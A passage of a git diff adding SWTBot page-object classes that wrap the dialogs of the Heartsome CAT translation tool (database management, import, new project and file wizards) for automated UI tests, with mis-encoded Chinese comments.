net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.widgets.HsSWTBotShell; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotCheckBox; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotMenu; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTreeItem; + +/** + * 库管ç†å¯¹è¯æ¡† + * @author felix_lu + */ +public class DatabaseManagementDialog extends HsSWTBotShell { + + /** 对è¯æ¡†æ¨¡å¼ï¼šç®¡ç†æ¨¡å¼. */ + public static final int MANAGEMENT = 0; + /** 对è¯æ¡†æ¨¡å¼ï¼šé€‰æ‹©æ¨¡å¼. */ + public static final int SELECT = 1; + + private SWTBot dialogBot = this.bot(); + private int mode; + + /** + * 按标题识别对è¯æ¡† + * @param mode + * 对è¯æ¡†æ¨¡å¼ï¼Œè¯·ä½¿ç”¨æœ¬ç±»æä¾›çš„å¸¸é‡ + */ + public DatabaseManagementDialog(int mode) { + super(HSBot.bot().shell(TsUIConstants.getString("dlgTitleDatabaseManagement")).widget); + this.mode = mode; + } + + /** + * @return 文本框:æœåŠ¡å™¨åœ°å€; + */ + public SWTBotText txtWLblServer() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblServer")); + } + + /** + * @return 文本框:æœåŠ¡å™¨ç«¯å£; + */ + public SWTBotText txtWLblPort() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblPort")); + } + + /** + * @return 文本框:æœåŠ¡å™¨å®žä¾‹å称; + */ + public SWTBotText txtWLblInstance() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblInstance")); + } + + /** + * @return 文本框:数æ®åº“ä¿å­˜è·¯å¾„; + */ + public SWTBotText txtWLblPath() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblPath")); + } + + /** + * @return 按钮:æµè§ˆ; + */ + public SWTBotButton btnBrowse() { + return dialogBot.button(TsUIConstants.getString("btnBrowse")); + } + + /** + * @return 文本框:数æ®åº“用户å; + */ + public SWTBotText txtWLblUsername() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblUsername")); + } + + /** + * @return 文本框:数æ®åº“密ç ; + */ + public SWTBotText txtWLblPassword() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblPassword")); + } + + /** + * @return å¤é€‰æ¡†ï¼šè®°ä½ä¿¡æ¯; + */ + public SWTBotCheckBox chkbxRemeber() { + return dialogBot.checkBox(TsUIConstants.getString("chkbxRemeber")); + } + + /** + * @return 按钮:查询; + */ + public SWTBotButton btnSearch() { + return dialogBot.button(TsUIConstants.getString("btnSearch")); + } + + /** + * @return 文本:表格列头 ç¼–å·; + */ + public String tblColNum() { + return TsUIConstants.getString("tblColNum"); + } + + /** + * @return 文本:表格列头 æ•°æ®åº“å称; + */ + public String tblColDatabaseName() { + return TsUIConstants.getString("tblColDatabaseName"); + } + + /** + * @return 文本:表格列头 语言; + */ + public String tblColLanguage() { + return TsUIConstants.getString("tblColLanguage"); + } + + /** + * @return 按钮:创建,仅在管ç†æ¨¡å¼ä¸‹å¯ç”¨; + */ + public SWTBotButton btnCreate() { + assertTrue("å‚数错误,此功能仅在管ç†æ¨¡å¼ä¸‹å¯ä»¥ä½¿ç”¨ã€‚", mode == MANAGEMENT); + return dialogBot.button(TsUIConstants.getString("btnCreateN")); + } + + /** + * @return 按钮:删除,仅在管ç†æ¨¡å¼ä¸‹å¯ç”¨; + */ + public SWTBotButton btnDelete() { + assertTrue("å‚数错误,此功能仅在管ç†æ¨¡å¼ä¸‹å¯ä»¥ä½¿ç”¨ã€‚", mode == MANAGEMENT); + return dialogBot.button(TsUIConstants.getString("btnDeleteD")); + } + + /** + * @return 按钮:确定,仅在选择模å¼ä¸‹å¯ç”¨; + */ + public SWTBotButton btnOK() { + assertTrue("å‚数错误,此功能仅在选择模å¼ä¸‹å¯ä»¥ä½¿ç”¨ã€‚", mode == SELECT); + return dialogBot.button(TsUIConstants.getString("btnOKO")); + } + + /** + * @return 按钮:关闭; + */ + public SWTBotButton btnClose() { + return dialogBot.button(TsUIConstants.getString("btnCloseC")); + } + + /** + * @return 树节点:PostgreSQL; + */ + public SWTBotTreeItem treiDBPostgreSQL() { + return dialogBot.tree().expandNode(TsUIConstants.getString("dbPostgreSQL")); + } + + /** + * @return 树节点:MySQL; + */ + public SWTBotTreeItem treiDBMySQL() { + return dialogBot.tree().expandNode(TsUIConstants.getString("dbMySQL")); + } + + /** + * @return 树节点:Oracle; + */ + public SWTBotTreeItem treiDBOracle() { + return dialogBot.tree().expandNode(TsUIConstants.getString("dbOracle")); + } + + /** + * @return 树节点:InternalDB; + */ + public SWTBotTreeItem treiDBInternal() { + return dialogBot.tree().expandNode(TsUIConstants.getString("dbInternal")); + } + + /** + * @return 树节点:DB_MSSQL; + */ + public SWTBotTreeItem treiDBMSSQL() { + return dialogBot.tree().expandNode(TsUIConstants.getString("dbMSSQL")); + } + + /** + * @return å³é”®èœå•ï¼šåˆ é™¤; + */ + public SWTBotMenu ctxMenuDelete() { + return dialogBot.tree().contextMenu(TsUIConstants.getString("ctxMenuDelete")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/FileNewDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/FileNewDialog.java new file mode 100644 index 0000000..bc8191c --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/FileNewDialog.java @@ -0,0 +1,44 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTreeItem; + +/** + * 从èœå•ï¼šæ–‡ä»¶ > 新建 打开的对è¯æ¡† + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class FileNewDialog extends NewWizardDialog { + + /** 从å³é”®èœå•æ–°å»ºå…¶ä»–打开的对è¯æ¡†æ ‡é¢˜ */ + public static final String NEW = "dlgTitleFileNew"; + /** 从å³é”®èœå•æ–°å»ºé¡¹ç›®æ‰“开的对è¯æ¡†æ ‡é¢˜ */ + public static final String NEW_TYPE_PROJECT = "dlgTitleNewProject"; + + private SWTBot dialogBot = this.bot(); + + /** + * æ ¹æ®æ ‡é¢˜è¯†åˆ«å¯¹è¯æ¡† + */ + public FileNewDialog(String from) { + super(HSBot.bot().shell(TsUIConstants.getString(from)).widget); + } + + /** + * @return SWTBotTreeItem 新建项目 + */ + public SWTBotTreeItem treeiProject() { + return dialogBot.tree().getTreeItem(TsUIConstants.getString("treiCreateProject")).select(); + } + + /** + * @return SWTBotTreeItem 新建记忆库/术语库 + */ + public SWTBotTreeItem treeiUntitledTextFile() { + return dialogBot.tree().getTreeItem(TsUIConstants.getString("treiCreateTmTbDB")).select(); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/ImportDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/ImportDialog.java new file mode 100644 index 0000000..333a0f1 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/ImportDialog.java @@ -0,0 +1,151 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotLabel; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotToolbarButton; + +/** + * 导入 TMXã€TBX 对è¯æ¡† + * @author felix_lu + */ +public class ImportDialog extends SWTBotShell { + + public static final String TMX = "dlgTitleImportTMX"; + public static final String TBX = "dlgTitleImportTBX"; + + private SWTBot dialogBot = this.bot(); + private String importType; + + /** + * 按标题识别对è¯æ¡† + * @param importType + * 导入类型,请使用本类æä¾›çš„å¸¸é‡ + */ + public ImportDialog(String importType) { + super(HSBot.bot().shell(TsUIConstants.getString(importType)).widget); + assertTrue("无此导入类型:" + importType, importType.equals(TMX) || importType.equals(TBX)); + this.importType = importType; + } + + /** + * @return 文本框:TMX/TBX 文件; + */ + public SWTBotText txtWLblFile() { + if (importType.equals(TMX)) { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblTMXFile")); + } + else { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblTBXFile")); + } + } + + /** + * @return 文本框:数æ®åº“; + */ + public SWTBotText txtWLblDatabase() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblDatabase")); + } + + /** + * @return 按钮:æµè§ˆ; + */ + public SWTBotButton btnBrowse() { + return dialogBot.button(TsUIConstants.getString("btnBrowseB")); + } + + /** + * @return 按钮:选择库; + */ + public SWTBotButton btnSelectDB() { + return dialogBot.button(TsUIConstants.getString("btnSelectDB")); + } + + /** + * @return 按钮:设置; + */ + public SWTBotButton btnSetting() { + return dialogBot.button(TsUIConstants.getString("btnSetting")); + } + + /** + * @return 按钮:完æˆ; + */ + public SWTBotButton btnFinish() { + return dialogBot.button(TsUIConstants.getString("btnFinish")); + } + + /** + * @return 按钮:å–消; + */ + public SWTBotButton btnCancel() { + return dialogBot.button(TsUIConstants.getString("btnCancel")); + } + + /** + * @return 文本信æ¯ï¼šå¯¼å…¥æˆåŠŸ; + */ + public SWTBotText msgImportSuccess() { + return dialogBot.text(TsUIConstants.getString("txtImportSuccess")); + } + + /** + * @return 文本信æ¯ï¼šæ示选择è¦å¯¼å…¥çš„文件; + */ + public SWTBotText msgNoFileToImport() { + return dialogBot.text(TsUIConstants.getString("txtNoFileToImport")); + } + + /** + * @return 文本信æ¯ï¼šæ示选择è¦å¯¼å…¥çš„库; + */ + public SWTBotText msgNoDBToImport() { + return dialogBot.text(TsUIConstants.getString("txtNoDBToImport")); + } + + /** + * @return 文本信æ¯ï¼šæ示文件错误; + */ + public SWTBotText msgFileError() { + if (importType.equals(TMX)) { + return dialogBot.text(TsUIConstants.getString("txtTMXFileError")); + } else { + return dialogBot.text(TsUIConstants.getString("txtTBXFileError")); + } + } + + /** + * @return 文字标签:正在导入 TYPE_TMX/TYPE_TBX 文件; + */ + public SWTBotLabel msgImporting() { + if (importType.equals(TMX)) { + return dialogBot.label(TsUIConstants.getString("lblImportingTMX")); + } else { + return dialogBot.label(TsUIConstants.getString("lblImportingTBX")); + } + } + + /** + * @return 工具æ æŒ‰é’®ï¼šå–消æ“作; + */ + public SWTBotToolbarButton tlbBtnWTltCancelOperation() { + return dialogBot.toolbarButtonWithTooltip(TsUIConstants.getString("tlbBtnWTltCancelOperation")); + } + + /** + * @return 文本信æ¯ï¼šç”¨æˆ·å–消了导入æ“作; + */ + public SWTBotText msgCancelImport() { + if (importType.equals(TMX)) { + return dialogBot.text(TsUIConstants.getString("txtCancelImportTMX")); + } else { + return dialogBot.text(TsUIConstants.getString("txtCancelImportTBX")); + } + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/InputDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/InputDialog.java new file mode 100644 index 0000000..5fddfd7 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/InputDialog.java @@ -0,0 +1,50 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; + +/** + * 输入对è¯æ¡† + * @author felix_lu + */ +public class InputDialog extends SWTBotShell { + + public static final String OPEN_FILE = "dlgTitleOpenFile"; + + private SWTBot dialogBot = this.bot(); + + /** + * 按标题识别对è¯æ¡† + * @param dlgTitle + * 对è¯æ¡†æ ‡é¢˜ï¼Œè¯·ä½¿ç”¨æœ¬ç±»æä¾›çš„å¸¸é‡ + */ + public InputDialog(String dlgTitle) { + super(HSBot.bot().shell(TsUIConstants.getString(dlgTitle)).widget); + } + + /** + * @return 文本框(这ç§å¯¹è¯æ¡†é€šå¸¸åªæœ‰ä¸€ä¸ªæ–‡æœ¬æ¡†ï¼‰; + */ + public SWTBotText txt() { + return dialogBot.text(); + } + + /** + * @return 按钮:确定; + */ + public SWTBotButton btnOK() { + return dialogBot.button(TsUIConstants.getString("btnOK")); + } + + /** + * @return 按钮:å–消; + */ + public SWTBotButton btnCancel() { + return dialogBot.button(TsUIConstants.getString("btnCancel")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/ManageCustomFilterDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/ManageCustomFilterDialog.java new file mode 100644 index 0000000..8527a38 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/ManageCustomFilterDialog.java @@ -0,0 +1,114 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotList; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotRadio; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; + +/** + * 管ç†è‡ªå®šä¹‰è¿‡æ»¤å™¨æ¡ä»¶å¯¹è¯æ¡† + * @author felix_lu + */ +public class ManageCustomFilterDialog extends SWTBotShell { + + private SWTBot dialogBot = this.bot(); + + /** + * 按标题识别对è¯æ¡† + */ + public ManageCustomFilterDialog() { + super(HSBot.bot().shell(TsUIConstants.getString("dlgTitleManageCustomFilter")).widget); + } + + /** + * @return 按钮:添加自定义过滤规则; + */ + public SWTBotButton btnAdd() { + return dialogBot.button(TsUIConstants.getString("btnAdd")); + } + + /** + * @return 按钮:添加æ¡ä»¶; + */ + public SWTBotButton btnAddCondition() { + return dialogBot.button(TsUIConstants.getString("btnAddCondition")); + } + + /** + * @param index 指定按钮索引 + * @return 按钮:添加æ¡ä»¶; + */ + public SWTBotButton btnAddCondition(int index) { + return dialogBot.button(TsUIConstants.getString("btnAddCondition"), index); + } + + /** + * @return 按钮:关闭; + */ + public SWTBotButton btnClose() { + return dialogBot.button(TsUIConstants.getString("btnClose")); + } + + /** + * @return 按钮:删除自定义过滤规则; + */ + public SWTBotButton btnDelete() { + return dialogBot.button(TsUIConstants.getString("btnDelete")); + } + + /** + * @param index 指定按钮索引 + * @return 按钮:删除æ¡ä»¶; + */ + public SWTBotButton btnDeleteCondition(int index) { + return dialogBot.button(TsUIConstants.getString("btnDeleteCondition"), index); + } + + /** + * @return 按钮:编辑规则; + */ + public SWTBotButton btnEdit() { + return dialogBot.button(TsUIConstants.getString("btnEdit")); + } + + /** + * @return 按钮:ä¿å­˜; + */ + public SWTBotButton btnSave() { + return dialogBot.button(TsUIConstants.getString("btnSave")); + } + + /** + * @return 列表:自定义过滤规则; + */ + public SWTBotList lstWLblCustomFilter() { + return dialogBot.listWithLabel(TsUIConstants.getString("lstWLblCustomFilter")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šåŒ¹é…所有æ¡ä»¶; + */ + public SWTBotRadio radBtnMatchAllConditions() { + return dialogBot.radio(TsUIConstants.getString("radBtnMatchAllConditions")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šåŒ¹é…任一æ¡ä»¶; + */ + public SWTBotRadio radBtnMatchAnyCondition() { + return dialogBot.radio(TsUIConstants.getString("radBtnMatchAnyCondition")); + } + + /** + * @return 文本框:规则å称; + */ + public SWTBotText txtWLblFilterName() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblFilterName")); + } + +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/MemoryDatabaseManagementDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/MemoryDatabaseManagementDialog.java new file mode 100644 index 0000000..079af2b --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/MemoryDatabaseManagementDialog.java @@ -0,0 +1,235 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.widgets.HsSWTBotShell; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotMenu; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTreeItem; + +/** + * 库管ç†å¯¹è¯æ¡† + * @author roy_xiao + */ +public class MemoryDatabaseManagementDialog extends HsSWTBotShell { + + /** 对è¯æ¡†æ¨¡å¼ï¼šç®¡ç†æ¨¡å¼. */ + public static final int MANAGEMENT = 0; + /** 对è¯æ¡†æ¨¡å¼ï¼šé€‰æ‹©æ¨¡å¼. */ + public static final int SELECT = 0; + + private SWTBot dialogBot = this.bot(); + private int mode; + + /** + * 按标题识别对è¯æ¡† + * @param mode + * 对è¯æ¡†æ¨¡å¼ï¼Œè¯·ä½¿ç”¨æœ¬ç±»æä¾›çš„å¸¸é‡ + */ + public MemoryDatabaseManagementDialog(int mode,String title) { + super(HSBot.bot().shell(TsUIConstants.getString(title)).widget); + this.mode = mode; + } + + /** + * @return 文本框:æœåŠ¡å™¨åœ°å€; + */ + public SWTBotText txtWLblServer() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblServer")); + } + + /** + * @return 文本框:æœåŠ¡å™¨ç«¯å£; + */ + public SWTBotText txtWLblPort() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblPort")); + } + + /** + * @return 文本框:æœåŠ¡å™¨å®žä¾‹å称; + */ + public SWTBotText txtWLblInstance() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblInstance")); + } + + /** + * @return 文本框:数æ®åº“ä¿å­˜è·¯å¾„; + */ + public SWTBotText txtWLblPath() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblPath")); + } + + /** + * @return 按钮:æµè§ˆ; + */ + public SWTBotButton btnBrowse() { + return dialogBot.button(TsUIConstants.getString("btnBrowse")); + } + + /** + * @return 文本框:数æ®åº“用户å; + */ + public SWTBotText txtWLblUsername() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblUsername")); + } + + /** + * @return 文本框:数æ®åº“密ç ; + */ + public SWTBotText txtWLblPassword() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblPassword")); + } + +// /** +// * @return å¤é€‰æ¡†ï¼šè®°ä½ä¿¡æ¯; +// */ +// public SWTBotCheckBox chkbxRemeber() { +// return dialogBot.checkBox(TsUIConstants.getString("chkbxRemeber")); +// } + + + + + /** + * @return 按钮:查询; + */ + public SWTBotButton btnSaveConn() { + return dialogBot.button(TsUIConstants.getString("btnSaveS")); + } + + /** + * @return 按钮:查询; + */ + public SWTBotButton btnSearch() { + return dialogBot.button(TsUIConstants.getString("btnSearchS")); + } + + /** + * @return 文本:表格列头 ç¼–å·; + */ + public String tblColNum() { + return TsUIConstants.getString("tblColNum"); + } + + /** + * @return 文本:表格列头 æ•°æ®åº“å称; + */ + public String tblColDatabaseName() { + return TsUIConstants.getString("tblColDatabaseName"); + } + + /** + * @return 文本:表格列头 语言; + */ + public String tblColLanguage() { + return TsUIConstants.getString("tblColLanguage"); + } + + /** + * @return 按钮:创建,仅在管ç†æ¨¡å¼ä¸‹å¯ç”¨; + */ + public SWTBotButton btnCreate() { + assertTrue("å‚数错误,此功能仅在管ç†æ¨¡å¼ä¸‹å¯ä»¥ä½¿ç”¨ã€‚", mode == MANAGEMENT); + return dialogBot.button(TsUIConstants.getString("btnCreateN")); + } + + /** + * @return 按钮:添加,仅在管ç†æ¨¡å¼ä¸‹å¯ç”¨; + */ + public SWTBotButton btnAdd() { + assertTrue("å‚数错误,此功能仅在管ç†æ¨¡å¼ä¸‹å¯ä»¥ä½¿ç”¨ã€‚", mode == MANAGEMENT); + return dialogBot.button(TsUIConstants.getString("btnAddA")); + } + + /** + * @return 按钮:删除,仅在管ç†æ¨¡å¼ä¸‹å¯ç”¨; + */ + public SWTBotButton btnDelete() { + assertTrue("å‚数错误,此功能仅在管ç†æ¨¡å¼ä¸‹å¯ä»¥ä½¿ç”¨ã€‚", mode == MANAGEMENT); + return dialogBot.button(TsUIConstants.getString("btnDeleteD")); + } + + /** + * @return 按钮:确定,仅在选择模å¼ä¸‹å¯ç”¨; + */ + public SWTBotButton btnOK() { + assertTrue("å‚数错误,此功能仅在选择模å¼ä¸‹å¯ä»¥ä½¿ç”¨ã€‚", mode == SELECT); + return dialogBot.button(TsUIConstants.getString("btnOK")); + } + + /** + * @return 按钮:关闭; + */ + public SWTBotButton btnClose() { + return dialogBot.button(TsUIConstants.getString("btnCancel")); + } + + /** + * @return 按钮:创建库; + */ + public SWTBotButton btnCreateDb() { + return dialogBot.button(TsUIConstants.getString("btnCreateDb")); + } + + /** + * @return 按钮:删除库; + */ + public SWTBotButton btnDeleteDb() { + return dialogBot.button(TsUIConstants.getString("btnDeleteDb")); + } + + + + /** + * @return 按钮:移除连接 + */ + public SWTBotButton btnRemoveConn() { + return dialogBot.button(TsUIConstants.getString("btnRemoveR")); + } + + /** + * @return 树节点:PostgreSQL; + */ + public SWTBotTreeItem treiDBPostgreSQL() { + return dialogBot.tree().expandNode(TsUIConstants.getString("dbPostgreSQL")); + } + + /** + * @return 树节点:MySQL; + */ + public SWTBotTreeItem treiDBMySQL() { + return dialogBot.tree().expandNode(TsUIConstants.getString("dbMySQL")); + } + + /** + * @return 树节点:Oracle; + */ + public SWTBotTreeItem treiDBOracle() { + return dialogBot.tree().expandNode(TsUIConstants.getString("dbOracle")); + } + + /** + * @return 树节点:InternalDB; + */ + public SWTBotTreeItem treiDBInternal() { + return dialogBot.tree().expandNode(TsUIConstants.getString("dbInternal")); + } + + /** + * @return 树节点:DB_MSSQL; + */ + public SWTBotTreeItem treiDBMSSQL() { + return dialogBot.tree().expandNode(TsUIConstants.getString("dbMSSQL")); + } + + /** + * @return å³é”®èœå•ï¼šåˆ é™¤; + */ + public SWTBotMenu ctxMenuDelete() { + return dialogBot.tree().contextMenu(TsUIConstants.getString("ctxMenuDelete")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/NewFileDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/NewFileDialog.java new file mode 100644 index 0000000..d097739 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/NewFileDialog.java @@ -0,0 +1,78 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTree; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTreeItem; + +/** + * 新建文件å‘导对è¯æ¡† + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class NewFileDialog extends NewWizardDialog { + + private SWTBot dialogBot = this.bot(); + + /** + * 按标题查找对è¯æ¡† + */ + public NewFileDialog() { + super(HSBot.bot().shell(TsUIConstants.getString("dlgTitleNewFile")).widget); + } + + /** + * @return SWTBotButton 高级 éžå±•å¼€çŠ¶æ€ + */ + public SWTBotButton btnAdvancedCollapsed() { + return dialogBot.button(TsUIConstants.getString("btnAdvancedCollapsed")); + } + + /** + * @return SWTBotButton 高级 å±•å¼€çŠ¶æ€ + */ + public SWTBotButton btnAdvancedExpanded() { + return dialogBot.button(TsUIConstants.getString("btnAdvancedExpanded")); + } + + /** + * @return 树:项目树 + */ + private SWTBotTree treeProject() { + return dialogBot.tree(); + } + + /** + * @param prjName + * 项目å称 + * @return SWTBotTreeItem 项目所在的树节点 + */ + public SWTBotTreeItem treeProject(String prjName) { + return treeProject().getTreeItem(prjName).select(); + } + + /** + * @param prjName + * 项目å称 + * @param type + * 文件类型,å³ä¸€çº§ç›®å½•å称 + * @param fileName + * 文件å称 + * @return SWTBotTreeItem 文件所在的树节点 + */ + public SWTBotTreeItem treeProject(String prjName, String type, String fileName) { + return treeProject().expandNode(prjName, type, fileName).select(); + } + + /** + * @return 文本框:文件å + */ + public SWTBotText txtWLblFileName() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblFileName")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/NewFolderDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/NewFolderDialog.java new file mode 100644 index 0000000..fb93cc9 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/NewFolderDialog.java @@ -0,0 +1,78 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTree; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTreeItem; + +/** + * 新建文件夹å‘导对è¯æ¡† + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class NewFolderDialog extends NewWizardDialog { + + private SWTBot dialogBot = this.bot(); + + /** + * 按标题查找对è¯æ¡† + */ + public NewFolderDialog() { + super(HSBot.bot().shell(TsUIConstants.getString("dlgTitleNewFolder")).widget); + } + + /** + * @return SWTBotButton 高级 éžå±•å¼€çŠ¶æ€ + */ + public SWTBotButton btnAdvancedCollapsed() { + return dialogBot.button(TsUIConstants.getString("btnAdvancedCollapsed")); + } + + /** + * @return SWTBotButton 高级 å±•å¼€çŠ¶æ€ + */ + public SWTBotButton btnAdvancedExpanded() { + return dialogBot.button(TsUIConstants.getString("btnAdvancedExpanded")); + } + + /** + * @return 对è¯æ¡†ä¸­çš„项目树 + */ + private SWTBotTree treeProject() { + return dialogBot.tree(); + } + + /** + * @param prjName + * 项目å称 + * @return SWTBotTreeItem 项目所在的树节点 + */ + public SWTBotTreeItem treeProject(String prjName) { + return treeProject().getTreeItem(prjName).select(); + } + + /** + * @param prjName + * 项目å称 + * @param type + * 文件类型,å³ä¸€çº§ç›®å½•å称 + * @param fileName + * 文件å称 + * @return SWTBotTreeItem 文件所在的树节点 + */ + public SWTBotTreeItem treeProject(String prjName, String type, String fileName) { + return treeProject().expandNode(prjName, type, fileName).select(); + } + + /** + * @return SWTBotText 文件夹å文本框 + */ + public SWTBotText txtWLblFolderName() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblFolderName")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/NewProjectDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/NewProjectDialog.java new file mode 100644 index 0000000..8ee9132 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/NewProjectDialog.java @@ -0,0 +1,414 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import static org.junit.Assert.assertTrue; + +import java.text.MessageFormat; +import java.util.List; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.finders.HsSWTBot; +import net.heartsome.test.swtbot.widgets.SWTBotTableCombo; + +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotLabel; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotList; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTable; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; + +/** + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class NewProjectDialog extends FileNewDialog { + + private HsSWTBot dialogBot = this.bot(); + + /** + * 先打开新建å‘导对è¯æ¡† + */ + public NewProjectDialog(String newType) { + super(newType); + } + + /***************************************** + * 常用方法 + *****************************************/ + + /** + * @param name + * @param remark + * @param client + * @param company + * @param email + */ + public void 